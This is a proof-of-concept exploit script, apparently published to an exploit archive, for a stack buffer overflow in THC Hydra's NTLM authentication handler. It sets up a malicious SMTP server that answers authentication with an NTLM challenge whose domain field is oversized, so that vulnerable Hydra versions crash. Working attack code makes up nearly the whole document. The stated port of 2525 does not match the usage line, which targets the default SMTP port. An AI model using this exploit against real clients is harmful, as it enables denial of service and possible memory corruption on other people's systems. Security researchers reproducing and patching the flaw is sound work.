Hydra - Stack Buffer Overflow

# Exploit Title:    Hydra - Stack Buffer Overflow 
# CVE:                   CVE-2026-56766
# Date:                  2026-06-26
# Exploit Author:        Mohammed Idrees Banyamer
# Author Country:        Jordan
# Instagram:             @banyamer_security
# Author GitHub:         https://github.com/mbanyamer
# Author Blog  :         https://banyamersecurity.com/blog/
# Vendor Homepage:       https://github.com/vanhauser-thc/thc-hydra
# Software Link:         https://github.com/vanhauser-thc/thc-hydra
# Affected:              Hydra <= 9.7
# Tested on:             Hydra 9.5 (Ubuntu 22.04)
# Category:              Remote
# Platform:              Linux
# Exploit Type:          Stack Buffer Overflow
# CVSS:                  7.5
# Description:           Malicious NTLM Type-2 challenge with excessively long domain
#                        causes stack buffer overflow in Hydra's NTLM authentication handler
#                        (SMTP, POP3, IMAP, etc. modules).
# Fixed in:              https://github.com/vanhauser-thc/thc-hydra/commit/9cc84c20e75f5fef6bb1790bb9ada2afad2204e2
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Notes:
#   • Run this PoC server first, then launch vulnerable Hydra against it.
#   • Triggers SIGSEGV in vulnerable versions.
#
# How to Use
#
# Step 1: Run the exploit server: python3 exploit.py
# Step 2: Run Hydra: hydra -l test -p test 127.0.0.1 smtp

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

import socket
import base64
import struct
import threading
import time
import sys

NTLMSSP_SIGNATURE = b"NTLMSSP\x00"
NTLM_TYPE_2 = 2

def create_ntlm_type2_challenge():
    challenge = bytearray(NTLMSSP_SIGNATURE)
    challenge += struct.pack("<I", NTLM_TYPE_2)
    
    domain_name = b"A" * 400
    domain_len = len(domain_name)
    
    flags = 0x00008201
    server_challenge = b"\x11\x22\x33\x44\x55\x66\x77\x88"
    reserved = b"\x00" * 8
    target_name_offset = 48
    
    challenge += struct.pack("<HHI", domain_len, domain_len, target_name_offset)
    challenge += struct.pack("<I", flags)
    challenge += server_challenge
    challenge += reserved
    challenge += b"\x00" * 8
    challenge += domain_name
    
    return challenge

class SMTPServer:
    def __init__(self, host='0.0.0.0', port=2525):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
    def handle_client(self, client, addr):
        client.send(b"220 poc-smtp-server ESMTP Ready\r\n")
        
        while True:
            try:
                data = client.recv(4096).decode('utf-8', errors='ignore').strip()
                if not data:
                    break
                    
                if data.upper().startswith("EHLO") or data.upper().startswith("HELO"):
                    client.send(b"250-OK\r\n250 AUTH NTLM\r\n")
                
                elif data.upper().startswith("AUTH NTLM"):
                    client.send(b"334 NTLM\r\n")
                    
                elif len(data) > 10:
                    type2 = create_ntlm_type2_challenge()
                    b64_type2 = base64.b64encode(type2).decode('ascii')
                    client.send(f"334 {b64_type2}\r\n".encode())
                    
                    time.sleep(1)
                    client.recv(8192)
                    client.send(b"235 Authentication successful (fake)\r\n")
                    break
                
                elif data.upper().startswith("QUIT"):
                    client.send(b"221 Bye\r\n")
                    break
                
            except:
                break
        
        client.close()
    
    def start(self):
        self.sock.bind((self.host, self.port))
        self.sock.listen(5)
        print(f"[+] Malicious SMTP server listening on {self.host}:{self.port}")
        print("[+] Run: hydra -l test -p test 127.0.0.1 smtp")
        
        while True:
            client, addr = self.sock.accept()
            threading.Thread(target=self.handle_client, args=(client, addr), daemon=True).start()

if __name__ == "__main__":
    banner()
    try:
        server = SMTPServer()
        server.start()
    except KeyboardInterrupt:
        print("\n[+] Server stopped")
    except Exception as e:
        print(f"[-] Error: {e}")